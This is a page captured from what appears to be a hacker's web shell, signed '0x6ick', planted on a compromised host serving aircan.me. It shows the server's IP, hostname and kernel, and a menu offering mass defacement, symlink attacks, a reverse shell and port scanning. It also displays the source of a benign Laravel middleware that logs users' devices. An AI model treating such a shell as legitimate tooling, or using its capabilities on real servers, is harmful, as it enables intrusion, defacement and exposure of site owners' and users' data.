Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Http
/
Middleware
/
Viewing: RegistrarDispositivo.php
<?php /** * ============================================================================ * LC DESIGN - Sistema de Gestión Empresarial * ============================================================================ * * @copyright 2024-2025 LC Design. Todos los derechos reservados. * @license Propietario - Uso exclusivo bajo licencia * ============================================================================ */ namespace App\Http\Middleware; use Closure; use Illuminate\Http\Request; use App\Models\DispositivoRegistrado; use Illuminate\Support\Facades\Auth; class RegistrarDispositivo { public function handle(Request $request, Closure $next) { $response = $next($request); // Solo registrar si el usuario está autenticado y no se ha registrado en esta sesión if (Auth::check() && !session()->has('dispositivo_registrado')) { $this->registrarOActualizarDispositivo($request); session(['dispositivo_registrado' => true]); } return $response; } protected function registrarOActualizarDispositivo(Request $request): void { try { $userId = Auth::id(); if (!$userId) { return; } $info = [ 'user_agent' => $request->userAgent() ?? 'Unknown', 'ip' => $request->ip() ?? '0.0.0.0', 'screen_width' => $request->header('X-Screen-Width'), 'screen_height' => $request->header('X-Screen-Height'), 'timezone' => $request->header('X-Timezone'), 'language' => $request->getPreferredLanguage() ?? 'es', 'platform' => $this->detectarPlataforma($request->userAgent() ?? ''), ]; \Illuminate\Support\Facades\Log::info('Registrando dispositivo', [ 'user_id' => $userId, 'ip' => $info['ip'], 'platform' => $info['platform'], ]); DispositivoRegistrado::registrarDispositivo($userId, $info); } catch (\Exception $e) { \Illuminate\Support\Facades\Log::error('Error registrando dispositivo: ' . $e->getMessage(), [ 'trace' => $e->getTraceAsString() ]); } } protected function detectarPlataforma(string $userAgent): string { if (preg_match('/Android/', $userAgent)) return 'Android'; if (preg_match('/iPhone|iPad/', $userAgent)) return 'iOS'; if (preg_match('/Windows/', $userAgent)) return 'Windows'; if (preg_match('/Macintosh/', $userAgent)) return 'macOS'; if (preg_match('/Linux/', $userAgent)) return 'Linux'; return 'Desconocido'; } }
Coded With 💗 by
0x6ick